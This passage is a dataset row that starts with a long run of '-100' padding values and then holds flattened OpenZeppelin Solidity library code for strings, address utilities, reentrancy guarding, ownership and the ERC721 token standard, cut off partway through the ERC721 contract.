-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
